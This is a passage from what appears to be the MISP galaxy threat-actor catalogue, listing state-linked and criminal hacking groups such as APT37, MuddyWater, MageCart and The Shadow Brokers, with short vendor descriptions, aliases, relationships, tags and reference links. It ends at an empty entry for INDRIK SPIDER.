OnionDog
This threat actor targets the South Korean government, transportation, and energy sectors.
The tag is: misp-galaxy:threat-actor="OnionDog"
Links |
Clever Kitten
The tag is: misp-galaxy:threat-actor="Clever Kitten"
Clever Kitten is also known as:
-
Group 41
Clever Kitten has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
Links |
Andromeda Spider
The tag is: misp-galaxy:threat-actor="Andromeda Spider"
Links |
Cyber Caliphate Army
The tag is: misp-galaxy:threat-actor="Cyber Caliphate Army"
Cyber Caliphate Army is also known as:
-
Islamic State Hacking Division
-
CCA
-
United Cyber Caliphate
-
UUC
-
CyberCaliphate
Links |
https://en.wikipedia.org/wiki/Islamic_State_Hacking_Division |
Magnetic Spider
The tag is: misp-galaxy:threat-actor="Magnetic Spider"
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Group 27
Arbor’s ASERT team is now reporting that, after looking deeper at that particular campaign, and by exposing a new trail in the group’s activities, they managed to identify a new RAT that was undetectable at that time by most antivirus vendors. Named Trochilus, this new RAT was part of Group 27’s malware portfolio that included six other malware strains, all served together or in different combinations, based on the data that needed to be stolen from each victim. This collection of malware, dubbed the Seven Pointed Dagger by ASERT experts, included two different PlugX versions, two different Trochilus RAT versions, one version of the 3012 variant of the 9002 RAT, one EvilGrab RAT version, and one unknown piece of malware, which the team has not entirely decloaked just yet.
The tag is: misp-galaxy:threat-actor="Group 27"
Links |
Singing Spider
The tag is: misp-galaxy:threat-actor="Singing Spider"
Links |
Cyber fighters of Izz Ad-Din Al Qassam
The tag is: misp-galaxy:threat-actor="Cyber fighters of Izz Ad-Din Al Qassam"
Cyber fighters of Izz Ad-Din Al Qassam is also known as:
-
Fraternal Jackal
Links |
http://ddanchev.blogspot.com.es/2012/09/dissecting-operation-ababil-osint.html |
APT 6
The FBI issued a rare bulletin admitting that a group named Advanced Persistent Threat 6 (APT6) hacked into US government computer systems as far back as 2011 and for years stole sensitive data. The FBI alert was issued in February and went largely unnoticed. Nearly a month later, security experts are now shining a bright light on the alert and the mysterious group behind the attack. “This is a rare alert and a little late, but one that is welcomed by all security vendors as it offers a chance to mitigate their customers and also collaborate further in what appears to be an ongoing FBI investigation,” said Deepen Desai, director of security research at the security firm Zscaler in an email to Threatpost. Details regarding the actual attack and what government systems were infected are scant. Government officials said they knew the initial attack occurred in 2011, but are unaware of who specifically is behind the attacks. “Given the nature of malware payload involved and the duration of this compromise being unnoticed – the scope of lateral movement inside the compromised network is very high possibly exposing all the critical systems,”Deepen said.
The tag is: misp-galaxy:threat-actor="APT 6"
APT 6 is also known as:
-
1.php Group
-
APT6
Links |
https://threatpost.com/fbi-quietly-admits-to-multi-year-apt-attack-sensitive-data-stolen/117267/ |
AridViper
The tag is: misp-galaxy:threat-actor="AridViper"
AridViper is also known as:
-
Desert Falcon
-
Arid Viper
-
APT-C-23
Dextorous Spider
The tag is: misp-galaxy:threat-actor="Dextorous Spider"
Links |
Unit 8200
The tag is: misp-galaxy:threat-actor="Unit 8200"
Unit 8200 is also known as:
-
Duqu Group
Links |
White Bear
As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity. From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.
The tag is: misp-galaxy:threat-actor="White Bear"
White Bear is also known as:
-
Skipper Turla
Links |
Pale Panda
The tag is: misp-galaxy:threat-actor="Pale Panda"
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Sowbug
Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.
The tag is: misp-galaxy:threat-actor="Sowbug"
Sowbug has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Sowbug - G0054" with estimative-language:likelihood-probability="likely"
Links |
MuddyWater
The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.
The tag is: misp-galaxy:threat-actor="MuddyWater"
MuddyWater is also known as:
-
TEMP.Zagros
-
Static Kitten
-
Seedworm
MuddyWater has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="MuddyWater - G0069" with estimative-language:likelihood-probability="likely"
MoneyTaker
In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.
The tag is: misp-galaxy:threat-actor="MoneyTaker"
Links |
Microcin
We’re already used to the fact that complex cyberattacks use 0-day vulnerabilities, bypassing digital signature checks, virtual file systems, non-standard encryption algorithms and other tricks. Sometimes, however, all of this may be done in much simpler ways, as was the case in the malicious campaign that we detected a while ago – we named it ‘Microcin’ after microini, one of the malicious components used in it.
The tag is: misp-galaxy:threat-actor="Microcin"
Links |
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/ |
Dark Caracal
Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.
The tag is: misp-galaxy:threat-actor="Dark Caracal"
Links |
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf |
Nexus Zeta
Nexus Zeta is no stranger when it comes to implementing SOAP related exploits. The threat actor has already been observed in implementing two other known SOAP related exploits, CVE-2014–8361 and CVE-2017–17215 in his Satori botnet project. A third SOAP exploit, TR-069 bug has also been observed previously in IoT botnets. This makes EDB 38722 the fourth SOAP related exploit which is discovered in the wild by IoT botnets.
The tag is: misp-galaxy:threat-actor="Nexus Zeta"
Links |
APT37
APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities
The tag is: misp-galaxy:threat-actor="APT37"
APT37 is also known as:
-
APT 37
-
Group 123
-
Group123
-
Starcruft
-
Reaper
-
Reaper Group
-
Red Eyes
-
Ricochet Chollima
-
StarCruft
-
Operation Daybreak
-
Operation Erebus
-
Venus 121
APT37 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="ScarCruft" with estimative-language:likelihood-probability="likely"
-
linked-to: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
Leviathan
Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.
The tag is: misp-galaxy:threat-actor="Leviathan"
Leviathan is also known as:
-
TEMP.Periscope
-
TEMP.Jumper
-
APT 40
-
APT40
-
BRONZE MOHAWK
-
GADOLINIUM
Leviathan has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Leviathan - G0065" with estimative-language:likelihood-probability="likely"
Links |
https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/ |
APT34
Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.
The tag is: misp-galaxy:threat-actor="APT34"
APT34 is also known as:
-
APT 34
APT34 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT34 - G0057" with estimative-language:likelihood-probability="likely"
APT35
FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.
The tag is: misp-galaxy:threat-actor="APT35"
APT35 is also known as:
-
APT 35
-
Newscaster Team
Links |
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf |
Orangeworm
Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.
The tag is: misp-galaxy:threat-actor="Orangeworm"
Links |
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia |
ALLANITE
Adversaries abusing ICS (based on Dragos Inc adversary list). ALLANITE accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in United States and United Kingdom electric utility sectors. Dragos assesses with moderate confidence that ALLANITE operators continue to maintain ICS network access to: (1) understand the operational environment necessary to develop disruptive capabilities, (2) have ready access from which to disrupt electric utilities. ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities. ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system.
The tag is: misp-galaxy:threat-actor="ALLANITE"
ALLANITE is also known as:
-
Palmetto Fusion
-
Allanite
Links |
CHRYSENE
Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets organizations involved in oil, gas, and electricity production, primarily in the Gulf region, for espionage purposes. According to one cybersecurity company, the threat actor “compromises a target machine and passes it off to another threat actor for further exploitation.”
The tag is: misp-galaxy:threat-actor="CHRYSENE"
CHRYSENE is also known as:
-
OilRig
-
Greenbug
CHRYSENE has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Greenbug" with estimative-language:likelihood-probability="likely"
Links |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
COVELLITE
Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor compromises the networks of companies involved in electric power, specifically looking for intellectual property and information about the companies’ operations.
The tag is: misp-galaxy:threat-actor="COVELLITE"
COVELLITE is also known as:
-
Lazarus
-
Hidden Cobra
COVELLITE has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
Links |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
DYMALLOY
Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets industrial control systems in Turkey, Europe, and North America. Believed to be linked to Crouching Yeti
The tag is: misp-galaxy:threat-actor="DYMALLOY"
DYMALLOY is also known as:
-
Dragonfly 2.0
-
Dragonfly2
-
Berserker Bear
Links |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
MAGNALLIUM
Adversaries abusing ICS (based on Dragos Inc adversary list).
The tag is: misp-galaxy:threat-actor="MAGNALLIUM"
MAGNALLIUM is also known as:
-
APT33
MAGNALLIUM has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT33 - G0064" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-probability="likely"
Links |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
XENOTIME
Adversaries abusing ICS (based on Dragos Inc adversary list).
The tag is: misp-galaxy:threat-actor="XENOTIME"
XENOTIME is also known as:
Links |
ZooPark
ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.
The tag is: misp-galaxy:threat-actor="ZooPark"
Links |
LuckyMouse
Experts assigned the codename of LuckyMouse to the group behind this hack, but they later realized the attackers were an older Chinese threat actor known under various names in the reports of other cyber-security firms, such as Emissary Panda, APT27, Threat Group 3390, Bronze Union, ZipToken, and Iron Tiger
The tag is: misp-galaxy:threat-actor="LuckyMouse"
LuckyMouse is also known as:
-
Emissary Panda
-
APT27
-
APT 27
-
Threat Group 3390
-
Bronze Union
-
Iron Tiger
-
TG-3390
-
TEMP.Hippo
-
Group 35
-
ZipToken
LuckyMouse has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Emissary Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Threat Group-3390" with estimative-language:likelihood-probability="likely"
RANCOR
The Rancor group’s attacks use two primary malware families which are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to Singapore and Cambodia.
The tag is: misp-galaxy:threat-actor="RANCOR"
RANCOR is also known as:
-
Rancor group
-
Rancor
-
Rancor Group
Links |
The Big Bang
While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed ‘Big Bang’ due to the attacker’s fondness for the ‘Big Bang Theory’ TV show, after which some of the malware’s modules are named.
The tag is: misp-galaxy:threat-actor="The Big Bang"
Links |
https://research.checkpoint.com/apt-attack-middle-east-big-bang/ |
https://blog.talosintelligence.com/2017/06/palestine-delphi.html |
Subaat
In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.
The tag is: misp-galaxy:threat-actor="Subaat"
Links |
The Gorgon Group
Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.
The tag is: misp-galaxy:threat-actor="The Gorgon Group"
The Gorgon Group is also known as:
-
Gorgon Group
-
Subaat
Links |
https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/ |
DarkHydrus
In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).
The tag is: misp-galaxy:threat-actor="DarkHydrus"
DarkHydrus is also known as:
-
LazyMeerkat
RedAlpha
Recorded Future’s Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.
The tag is: misp-galaxy:threat-actor="RedAlpha"
Links |
https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf |
APT-C-35
In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT’s attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the organization’s new attack activity, confirmed and exposed the gang’s targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization
The tag is: misp-galaxy:threat-actor="APT-C-35"
APT-C-35 is also known as:
-
DoNot Team
-
Donot Team
-
APT-C-35
TempTick
This threat actor targets organizations in the finance, defense, aerospace, technology, health-care, and automotive sectors and media organizations in East Asia for the purpose of espionage. Believed to be responsible for the targeting of South Korean actors prior to the meeting of Donald J. Trump and Kim Jong-un
The tag is: misp-galaxy:threat-actor="TempTick"
Links |
Operation Parliament
This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage. Based on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so on. Operation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital). With deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East.
The tag is: misp-galaxy:threat-actor="Operation Parliament"
Inception Framework
This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the purpose of espionage.
The tag is: misp-galaxy:threat-actor="Inception Framework"
Winnti Umbrella
This threat actor targets software companies and political organizations in the United States, China, Japan, and South Korea. It primarily acts to support cyber operations conducted by other threat actors affiliated with Chinese intelligence services. Believed to be associated with the Axiom, APT 17, and Mirage threat actors. Believed to share the same tools and infrastructure as the threat actors that carried out Operation Aurora, the 2015 targeting of video game companies, the 2015 targeting of the Thai government, and the 2017 targeting of Chinese-language news websites
The tag is: misp-galaxy:threat-actor="Winnti Umbrella"
Links |
https://www.cfr.org/interactive/cyber-operations/winnti-umbrella |
HenBox
This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.
The tag is: misp-galaxy:threat-actor="HenBox"
Links |
Mustang Panda
This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes. In April 2017, CrowdStrike Falcon Intelligence observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX. Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files.
The tag is: misp-galaxy:threat-actor="Mustang Panda"
Links |
https://www.cfr.org/interactive/cyber-operations/mustang-panda |
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/ |
Thrip
This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.
The tag is: misp-galaxy:threat-actor="Thrip"
Links |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
Stealth Mango and Tangelo
This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.
The tag is: misp-galaxy:threat-actor=" Stealth Mango and Tangelo "
Links |
https://www.cfr.org/interactive/cyber-operations/stealth-mango-and-tangelo |
PowerPool
Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.
A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.
More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user’s permissions, allowing write privileges on files in C:\Windows\Task.
The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.
A couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.
The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.
The researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.
The tag is: misp-galaxy:threat-actor="PowerPool"
Links |
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/ |
Bahamut
Bahamut is a threat actor primarily operating in Middle East and Central Asia, suspected to be a private contractor to several state sponsored actors. They were observed conduct phishing as well as desktop and mobile malware campaigns.
The tag is: misp-galaxy:threat-actor="Bahamut"
Links |
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/ |
Iron Group
Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.
The tag is: misp-galaxy:threat-actor="Iron Group"
Iron Group is also known as:
-
Iron Cyber Group
Links |
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/ |
Operation BugDrop
This threat actor targets critical infrastructure entities in the oil and gas sector, primarily in Ukraine. The threat actors deploy the BugDrop malware to remotely access the microphones in their targets' computers to eavesdrop on conversations.
The tag is: misp-galaxy:threat-actor="Operation BugDrop"
Links |
https://www.cfr.org/interactive/cyber-operations/operation-bugdrop |
Red October
This threat actor targets governments, diplomatic missions, academics, and energy and aerospace organizations for the purpose of espionage. Also known as the Rocra and believed to be the same threat actor as Cloud Atlas
The tag is: misp-galaxy:threat-actor="Red October"
Red October is also known as:
-
the Rocra
Links |
https://www.cfr.org/interactive/cyber-operations/red-october |
Cloud Atlas
This threat actor targets governments and diplomatic organizations for espionage purposes.
The tag is: misp-galaxy:threat-actor="Cloud Atlas"
Links |
https://www.cfr.org/interactive/cyber-operations/cloud-atlas |
Unnamed Actor
This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission.
The tag is: misp-galaxy:threat-actor="Unnamed Actor"
Links |
https://www.cfr.org/interactive/cyber-operations/unnamed-actor |
COBALT DICKENS
”A threat group associated with the Iranian government. The threat group created lookalike domains to phish targets and used credentials to steal intellectual property from specific resources, including library systems.”
The tag is: misp-galaxy:threat-actor="COBALT DICKENS"
COBALT DICKENS is also known as:
-
Cobalt Dickens
Links |
https://www.cyberscoop.com/cobalt-dickens-iran-mabna-institiute-dell-secureworks/ |
MageCart
Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.
The tag is: misp-galaxy:threat-actor="MageCart"
Domestic Kitten
An extensive surveillance operation targets specific groups of individuals with malicious mobile apps that collect sensitive information on the device along with surrounding voice recordings. Researchers with CheckPoint discovered the attack and named it Domestic Kitten. The targets are Kurdish and Turkish natives, and ISIS supporters, all Iranian citizens.
The tag is: misp-galaxy:threat-actor="Domestic Kitten"
Links |
https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/ |
FASTCash
Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.
The tag is: misp-galaxy:threat-actor="FASTCash"
Roaming Mantis
According to new research by Kaspersky’s GReAT team, the online criminal activities of the Roaming Mantis Group have continued to evolve since they were first discovered in April 2018. As part of their activities, this group hacks into exploitable routers and changes their DNS configuration. This allows the attackers to redirect the router user’s traffic to malicious Android apps disguised as Facebook and Chrome or to Apple phishing pages that were used to steal Apple ID credentials. Recently, Kaspersky has discovered that this group is testing a new monetization scheme by redirecting iOS users to pages that contain the Coinhive in-browser mining script rather than the normal Apple phishing page. When users are redirected to these pages, they will be shown a blank page in the browser, but their CPU utilization will jump to 90% or higher.
The tag is: misp-galaxy:threat-actor="Roaming Mantis"
Roaming Mantis is also known as:
-
Roaming Mantis Group
Links |
GreyEnergy
ESET research reveals a successor to the infamous BlackEnergy APT group targeting critical infrastructure, quite possibly in preparation for damaging attacks
The tag is: misp-galaxy:threat-actor="GreyEnergy"
GreyEnergy has relationships with:
-
similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"
Links |
https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/ |
The Shadow Brokers
The Shadow Brokers (TSB) is a hacker group who first appeared in the summer of 2016. They published several leaks containing hacking tools from the National Security Agency (NSA, including several zero-day exploits.[1] Specifically, these exploits and vulnerabilities targeted enterprise firewalls, antivirus software, and Microsoft products. The Shadow Brokers originally attributed the leaks to the Equation Group threat actor, who have been tied to the NSA’s Tailored Access Operations unit.
The tag is: misp-galaxy:threat-actor="The Shadow Brokers"
The Shadow Brokers is also known as:
-
The ShadowBrokers
-
TSB
-
Shadow Brokers
-
ShadowBrokers
EvilTraffic
Malware experts at CSE Cybsec uncovered a massive malvertising campaign dubbed EvilTraffic leveraging tens of thousands compromised websites. Crooks exploited some CMS vulnerabilities to upload and execute arbitrary PHP pages used to generate revenues via advertising.
The tag is: misp-galaxy:threat-actor="EvilTraffic"
EvilTraffic is also known as:
-
Operation EvilTraffic
HookAds
HookAds is a malvertising campaign that purchases cheap ad space on low quality ad networks commonly used by adult web sites, online games, or blackhat seo sites. These ads will include JavaScript that redirects a visitor through a serious of decoy sites that look like pages filled with native advertisements, online games, or other low quality pages. Under the right circumstances, a visitor will silently load the Fallout exploit kit, which will try and install its malware payload.
The tag is: misp-galaxy:threat-actor="HookAds"
Links |
INDRIK SPIDER
